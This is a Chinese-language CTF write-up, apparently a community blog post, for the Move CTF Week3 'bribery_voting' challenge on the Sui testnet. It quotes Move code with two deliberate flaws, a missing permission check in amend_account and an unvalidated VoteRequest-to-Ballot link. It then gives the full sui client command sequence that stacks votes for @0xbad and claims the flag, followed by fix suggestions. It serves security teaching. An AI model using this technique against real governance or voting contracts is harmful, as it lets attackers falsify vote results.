Move CTF Week3 Challenge 技术分析

概述MoveCTF共学营由HOH水分子社区联合Cyclens及Movebit共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解Web3领域安全问题、提升在网络安全领域的实战能力。详细信息请参考:

概述

Move CTF 共学营由 HOH 水分子社区联合 Cyclens 及 Movebit 共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解 Web3 领域安全问题、提升在网络安全领域的实战能力。

详细信息请参考:https://platform.cyclens.tech/activity/1

本文分析 Move CTF Week3 挑战 - bribery_voting,该挑战部署在 Sui 测试网上,主要考察开发者对权限与访问控制、逻辑漏洞与状态管理的理解。

挑战环境

  • 合约地址: 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8
  • 部署交易: 5pbLFCnnBAUsDVx5CiwqB3MmLazE6kbNQWc73HxJNUAp
  • Briber共享对象: 0xa2b7b27f00d3844784b6f53455b0cf5dc76cf2c9afd27e7df85ebda083c28d8e
  • 网络: Sui 测试网
  • GitHub ID: cuidaquan

合约架构分析

核心模块

挑战合约包含四个核心模块:

  1. ballot: 投票票据管理模块
  2. candidate: 候选人管理模块
  3. briber: 贿赂者和Flag发放模块
  4. flag: Flag事件发放模块

关键数据结构

struct Ballot has key, store {
    id: UID,
    voted: VecMap<address, u64>,
    has_voted: bool,
}

struct VoteRequest {
    voting_power: u64,
    voted: VecMap<address, u64>,
}

struct Candidate has key, store {
    id: UID,
    account: address,
    total_votes: u64,
}

struct Briber has key {
    id: UID,
    given_list: VecSet<ID>,
}

解题条件

挑战的 get_flag 函数检查关键条件:给 @0xbad 地址的投票数 >= 21票

漏洞识别

1. 权限控制缺失漏洞

核心漏洞位于 candidate::amend_account 函数中:

public fun amend_account(
    candiate: &mut Candidate,
    account: address,
) {
    candiate.account = account;
}

关键问题

  • 完全没有权限检查
  • 任何人都可以修改任意候选人的账户地址
  • 缺少调用者身份验证

2. 状态管理逻辑漏洞

核心漏洞位于 ballot::finish_voting 函数中:

public fun finish_voting(ballot: &mut Ballot, request: VoteRequest) {
    let VoteRequest {
        voting_power: _,
        voted,
    } = request;
    let (candidates, votes) = voted.into_keys_values();
    candidates.zip_do!(votes, |c, v| {
        let ballot_voted = &mut ballot.voted;
        let already_voted = ballot_voted.try_get(&c);
        if (already_voted.is_some()) {
            *ballot_voted.get_mut(&c) = already_voted.destroy_some() + v;  // 累加逻辑
        } else {
            ballot_voted.insert(c, v);
        }
    });
}

关键问题

  • 没有检查 VoteRequest 与 Ballot 的对应关系
  • 可以将任意 VoteRequest 提交给任意 Ballot
  • 累加逻辑被恶意利用

漏洞成因

  1. 权限设计缺陷: amend_account 函数缺乏基本的权限验证
  2. 状态管理不当: VoteRequest 与 Ballot 的关联关系未被验证
  3. 业务逻辑漏洞: 投票累积机制存在设计缺陷

攻击方法

漏洞利用策略

  1. 候选人身份篡改: 利用权限漏洞修改候选人账户为 @0xbad
  2. 跨Ballot投票攻击: 创建3个Ballot,从每个Ballot获取VoteRequest
  3. 状态管理绕过: 将所有VoteRequest都提交给第一个Ballot(目标Ballot)
  4. 投票累积利用: 在目标Ballot中累积30票(3×10票)给 @0xbad
  5. Flag获取: 超过21票要求并成功获取Flag

解题流程

步骤1: 获取共享对象

从部署交易中获取必要的共享对象:

# 查看部署交易详情
sui client tx-block 5pbLFCnnBAUsDVx5CiwqB3MmLazE6kbNQWc73HxJNUAp

获得的共享对象:

  • Briber: 0xa2b7b27f00d3844784b6f53455b0cf5dc76cf2c9afd27e7df85ebda083c28d8e

步骤2: 创建候选人和Ballot对象

创建候选人共享对象和3个Ballot对象用于攻击:

# 创建候选人(共享对象)
sui client call --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 --module candidate --function register --gas-budget 10000000
# 获得候选人ID: 0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955

# 创建第一个ballot(目标ballot)
sui client call --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 --module ballot --function get_ballot --gas-budget 10000000
# 获得Ballot1 ID: 0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9

# 创建第二个ballot
sui client call --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 --module ballot --function get_ballot --gas-budget 10000000
# 获得Ballot2 ID: 0x8c0af640de0ae8d100f9895a51c46c09dfd43a4658445447038718c2fec2e2e9

# 创建第三个ballot
sui client call --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 --module ballot --function get_ballot --gas-budget 10000000
# 获得Ballot3 ID: 0xfd9f6fa7228156fc4ac3c6d8bef732769dc27daaeb06eecb269f93e51851bc73

步骤3: 执行攻击

第一次攻击:权限漏洞利用 + 正常投票

sui client ptb \
  --move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::candidate::amend_account" \
    "@0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955" \
    "@0x0000000000000000000000000000000000000000000000000000000000000bad" \
  --move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::request_vote" \
    "@0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9" --assign request1 \
  --move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::candidate::vote" \
    "@0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955" request1 10 \
  --move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::finish_voting" \
    "@0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9" request1 \
  --gas-budget 50000000
# 交易哈希: d6XQkLV6Ufe2cM4CACAfxPmWQSpk7hCxKSt4wGZvWJx

第二次攻击:跨Ballot投票

sui client ptb \
  --move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::request_vote" \
    "@0x8c0af640de0ae8d100f9895a51c46c09dfd43a4658445447038718c2fec2e2e9" --assign request2 \
  --move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::candidate::vote" \
    "@0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955" request2 10 \
  --move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::finish_voting" \
    "@0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9" request2 \
  --gas-budget 50000000
# 交易哈希: 2cCAtuTzJ2ra34ACv28jEfuLRuKzepXxsKmg3n7uZMUv

第三次攻击:跨Ballot投票

sui client ptb \
  --move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::request_vote" \
    "@0xfd9f6fa7228156fc4ac3c6d8bef732769dc27daaeb06eecb269f93e51851bc73" --assign request3 \
  --move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::candidate::vote" \
    "@0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955" request3 10 \
  --move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::finish_voting" \
    "@0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9" request3 \
  --gas-budget 50000000
# 交易哈希: 52nayxsPA3ypUYvvXhz8eF3Y3gskuaWFjcMMPAKrvLUY

第四步:获取Flag

sui client call \
  --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 \
  --module briber --function get_flag \
  --args 0xa2b7b27f00d3844784b6f53455b0cf5dc76cf2c9afd27e7df85ebda083c28d8e \
         0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9 \
         "cuidaquan" \
  --gas-budget 10000000
# 交易哈希: HJHy8271ZXhHRDipStHYzVFqXBcqPd5kQNmvRgeh74Zt

执行结果

步骤 交易哈希 结果
权限漏洞利用+第一次投票 d6XQkLV6Ufe2cM4CACAfxPmWQSpk7hCxKSt4wGZvWJx 候选人账户修改为@0xbad,目标ballot获得10票
第二次跨Ballot攻击 2cCAtuTzJ2ra34ACv28jEfuLRuKzepXxsKmg3n7uZMUv 目标ballot累积到20票
第三次跨Ballot攻击 52nayxsPA3ypUYvvXhz8eF3Y3gskuaWFjcMMPAKrvLUY 目标ballot累积到30票
Flag获取 HJHy8271ZXhHRDipStHYzVFqXBcqPd5kQNmvRgeh74Zt 成功获取Flag

攻击结果

项目
Flag 19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9
累积投票数 30票
目标地址 @0xbad
目标Ballot 0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9
攻击状态 成功

安全影响

直接影响

  1. 权限绕过: 攻击者可任意修改候选人身份信息
  2. 投票操控: 通过状态管理漏洞操控投票结果
  3. 系统完整性破坏: 投票系统的公正性完全失效

潜在风险

  1. 治理攻击: 类似漏洞可能影响DAO治理系统
  2. 选举操控: 真实投票系统可能被恶意操控
  3. 信任危机: 用户对系统安全性失去信心

修复建议

代码层面

  1. 权限验证增强:

    public fun amend_account(
    candidate: &mut Candidate,
    account: address,
    ctx: &TxContext
    ) {
    assert!(candidate.account == tx_context::sender(ctx), E_UNAUTHORIZED);
    candidate.account = account;
    }
  2. 状态关联验证:

    public fun finish_voting(ballot: &mut Ballot, request: VoteRequest) {
    assert!(request.ballot_id == object::id(ballot), E_BALLOT_MISMATCH);
    // 其他逻辑...
    }
  3. 投票权限制: 限制单个ballot的最大投票权累积

设计层面

  1. 最小权限原则: 严格限制关键函数的访问权限
  2. 状态一致性: 确保相关对象间的状态一致性
  3. 业务逻辑验证: 加强业务规则的验证机制

总结

Move CTF Week3 挑战揭示了权限控制和状态管理方面的重要安全问题。通过权限控制缺失和状态管理漏洞的组合攻击,攻击者能够完全绕过投票系统的安全机制。

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
cuidaquan
cuidaquan
江湖只有他的大名,没有他的介绍。